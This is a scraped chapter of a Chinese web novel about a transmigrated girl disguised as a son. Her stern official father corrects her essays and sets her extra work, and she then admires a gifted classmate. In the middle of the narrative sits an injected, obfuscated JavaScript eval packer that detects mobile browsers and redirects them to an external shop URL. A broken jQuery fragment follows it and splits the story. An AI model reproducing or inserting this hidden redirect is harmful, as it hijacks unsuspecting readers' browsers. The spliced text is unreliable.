文趣网 > 其他小说 > 被反派权臣鸡娃的日子 > 10. 容姿
    谢迢觉得自己当真冤枉。

    明明一番好心,想趁机撮合男主和反派,反被狠斥一通。

    看他神色冰冷,恐怕是联想到了古时候登第困难者投献名公巨卿的行卷之流,本朝已不流行此举,科考前来往密切,反有舞弊之嫌。

    谢岐主掌纠劾百官,自不屑于如此。

    罢了罢了。

    算她不知分寸。

    谢迢读高三时穿进书里,这辈子又不愁吃穿,只顾埋头读书,仔细想来,明明活了两辈子,却仍然好似半点眼力见没有,处处被谢岐嫌弃。

    她索性不说话了。

    谢岐冷眼看了她好一会儿。

    每回挨骂了便开始装鹌鹑,实则下回仍旧我行我素,不长记性。

    他放下戒尺,蓦地起身,走到案边停下。

    “过来研墨。”他道。

    谢迢愕然。

    这是……没事了?不罚她了?

    她如何想不到自己居然就这么被放过了,有种做梦似的飘忽感。

    顾不得多想,她快步过去,舀了水浇上砚台,握住墨锭缓慢打着圈。

    谢岐将她的文章依次铺开,执笔蘸墨,掖袖落笔。

    他握笔的手修长漂亮,一手字更是苍劲有力,提按顿挫间平正端稳,骨力清峻,力透纸背。

    烛光映着那张玉色脸庞,眉藏剑锋,峻拔凛冽。

    谢迢悄悄瞧着,心中不自觉冒出一句话来:秋水为神玉为骨。

    旋即,又联想到许久前就听说的一则逸闻,便是关于她这个反派养爹的样貌。

    说谢岐年少时参加殿试,刚登基的天子十分欣赏他的才华,却因他风姿太盛,想给他探花,在状元探花之间犹豫良久,最终竟折中给了个榜眼。

    这则逸闻真假未知,却将谢岐的相貌夸到了惊人的程度,有人听了不喜,认为将殿试科考之事描述得儿戏,但偏生世人爱凑热闹,反而越传越广。

    听说后来,这逸闻传进了当今圣上的耳朵里,圣上并未不悦,反而当面调侃了谢岐一句:“谢卿美容姿,天下共睹也。”

    彼时的谢岐只是正七品都给事中,随侍殿庭,闻言微微低眸,“臣惶恐,不敢担此盛名。”

    谢迢微微出着神。

    直到耳边传来一声清脆的搁笔声响,她才赶忙回神。

    谢岐已经写完了。

    她放下手中墨锭,重新拿起文章快速浏览起来。

    她的文章已被划得面目全非。

    哪些句子冗杂多余,又有哪些稍有可取之处,皆被一一勾划了出来,边上还有小字犀利点评,可谓是十分细致。

    谢迢匆忙扫了几眼,未来得及细细揣摩,只连忙道:“多谢父亲指点。”

    谢岐道:“重新修改这篇,明日拿给我看。”

    “……是。”

    “与人斗殴之事我未罚你,不代表纵容姑息,国子监是给你潜心做学问的地方,非让你胡乱攀结关系。”

    谢岐说罢,忽然凉凉扫她一眼,似笑非笑道:“既有闲功夫操心别人,想来课业还不够紧张。便再另写两篇文章给我,明晚一并交了,不可拖延。”

    谢迢:“什、什么?”

    她没听错吧?

    还要另外再写两篇?那加起来不就是三篇,只给一天的时间?

    老天啊!这是可以完成的任务吗?!

    谢迢只觉眼前一黑,下意识想讨价还价,“爹,能不能宽……”

    谢岐看也未看她一眼,径直拂袖离去。

    似是再多待一刻都怕忍不住揍她。

    随安正提灯候在屋外,见谢岐出来,忙不迭在前头照明引路。

    谢迢的院子与谢岐挨近,拐过两个弯儿,穿过阒静庭院,便是谢岐的书房。

    随安先前也将屋内的动静听得一清二楚,一路走来,见谢岐面无表情,不似有怒,便笑道:“您今日肯放公子一马,却不曾告诉她有关陈覃之事前因后果?”

    谢岐道:“还不到她操心那些的时候。”

    随安又笑问:“爷方才似是因为旁人的文章动气?那文章难不成是有什么玄机?”

    说话间,谢岐已进了自己的慎思斋,随手点了灯,才不疾不徐道:“那篇文章倒是气局宏敞,辞气冲和,不骋才、不使气,只关键处过于规矩,略显乏味。”

    “若无此缺点呢?”

    “若处处理得宜,以此入棘闱,想必能一举擢魁。”他顿了顿,又道:“有刻意藏拙的可能。”

    他看文章无数,眼光何其毒辣,一眼便看出玄机。

    这个沈颜有才,或许还是个心有城府的,知道在国子监这样鱼龙混杂的地方藏敛锋芒。

    谢迢竟能结交到这样的人。

    “沈颜这个名字,小的总觉得有些耳熟,好像在哪里听过……”随安冥思苦想,忽然一拍脑袋,“前些日子吴老翰林在您跟前提到有个贡生颇有文采,赞不绝口,难不成正是此人?”

    ……

    另一边,谢岐刚走,谢迢便开始长吁短叹。

    她愁得睡不着。

    这大半夜的,突然告诉她明日要交三篇文章,她还怎么睡?恨不得现在便开始通宵赶工。

    难的不是写出三篇文章,而是构思,修改的那篇必须有所长进,另外两篇也不能差到哪儿去,她脑子里哪来那么多东西一下子倒腾出来?

    就算把她榨干,也未必奏效。

    谢迢熄灯上床,一闭眼便控制不住活跃的脑子,一会儿在想文章该怎么写,一会儿又惦记着明日要去把文章还给沈颜。

    分明已经困了,翻来覆去半晌,居然越想越清醒。

    她叹了口气,索性坐起身。

    反正不管前世今生,睡眠不足都是常态,她已经麻木了,累到猝死反而是解脱了,平时只要死不了,就只能咬咬牙挺过去。

    谢迢重新披衣点灯,坐到案后,借着烛火品读方才被谢岐方才写下的批注。

    若说沈颜的文章是意气满满、灵气四溢,令人见的第一眼倍感惊艳,谢岐的点评则犀利老道,需仔细揣摩深意方能理解。

    谢迢边打哈欠看,边忍不住感叹:这一个个都清高得不得了,偏偏又有清高的底气。

    等仔细读了大半宿,将构思出的一点思路记下,她已是困得睁不开眼,才去歇了。

    浅浅眯了两个时辰,下人开始叫起了。

    谢迢迷迷瞪瞪地爬起来,搽脸时恨不得恨不得一头扎进丫头端的铜盆里,拍了拍脸让自己清醒过来,慢吞吞地出府,钻进马车。

    谢煊已经揣着新买的伤药等在车里,本以为今天瞧见的会是遍体鳞伤的谢迢,没想到她看上去完好无损。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903244|212970||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他惊诧不已:“三叔昨夜竟没揍你?”

    太阳打西边出来了?!

    谢迢叹气,“还不如直接揍呢。”

    和皮肉上的折磨相比,精神上的折磨才更可怕。

    本来昨晚情况不妙,连她自己都稀里糊涂,怎么也想不通打架那事是怎么揭过去的,还想着难道是她反省太深刻,谢岐被她感动了?

    结果是她太自作多情,谢岐不过是换了个折腾她的招数。

    谢迢打着哈欠,大致跟谢煊描述了一下昨晚的情况。

    起初,谢煊听到她拿错文章时忍俊不禁,待听到她自我反省事,眉头便越皱越紧,“不是我说……你这混小子,怎么又在胡思乱想了?你爹那是文曲星下凡,你又不是你爹,你是谢迢,拿自己跟他们做什么?再过两年得把自己逼疯了不可。”

    谢迢苦笑,“我当然知道。”

    她哪是自己想比?是在这样的环境下不得不比,昨夜看谢岐询问沈颜时的神情,她心知他嘴上不说,实则是较为满意的。

    没准谢岐想象中的完美儿子,是长沈颜那样。

    她叹了口气,“三哥,我知道你是什么意思,你不必担心我。”

    谢煊嗤笑,“我担心你什么?担心你被人指点,回头考上举人?”他一脸“我是有病才这样想”的表情,“三叔都亲自帮你改文章了,你还想怎样?旁人哪有这般被指点的机会?我是羡慕都羡慕不来。”

    谢迢:“这么羡慕?那你求我两句,我便考虑把我的文章给你瞧。”

    “想的倒是美。”

    谢煊冷笑着扭过头去,不搭理她了。

    谢迢笑了笑,看破不说破。谢煊不过是一面嘴硬,一面又拐着弯子地安慰她。

    谢煊虽只比大她一岁,从小到大却总是处处如兄长般照顾她,有什么事都先挺在她前面。

    没多久,马车到了国子监。

    二人分道扬镳,待早课结束,谢迢就马不蹄停地去找沈颜。

    “昨夜仔细品读清澜兄的文章,真是惊为天人,叹为观止。”谢迢大为夸赞,“遣词造句无一不秒,破题承题一语中的,中股后股更是对仗工整,收结精妙,不仅能直抒己见,还能不落窠臼,真是处处都令我佩服!”

    沈颜被她这般赞扬,却宠辱不惊,只微微笑着,“谢兄谦虚。”

    谢迢:“没有谦虚,也绝非奉承!我是发自真心的!”

    她对长得好看的人并无感觉,但有了才华加持,如今瞧沈颜确实十分顺眼。

    她连连感叹道:“清澜兄如此优秀,倒显得我一开始与清澜兄交换文章的行径显得不自量力了,今后我也要好好用功,否则怎配和清澜兄成为好友?”

    沈颜见她如此自贬,不禁道:“……昨夜我也读了谢兄的文章,亦有出彩之处,谢兄不必妄自菲薄。”

    谢迢眼睛一亮,抬头灼灼地望着他。

    “真的吗?”

    “……”

    沈颜原本只是客套,对上她乌黑明亮的双眸,不禁沉默了好一会儿。

    “真的……”

    他沉吟着开口,但紧接着就忍不住找补几句:“不过,有几处若能略加修改,想必会更为出彩。”

    谢迢一贯擅长顺着杆子爬,一听有修改意见,忙抬手朝他长揖。

    “还请清澜兄指教!”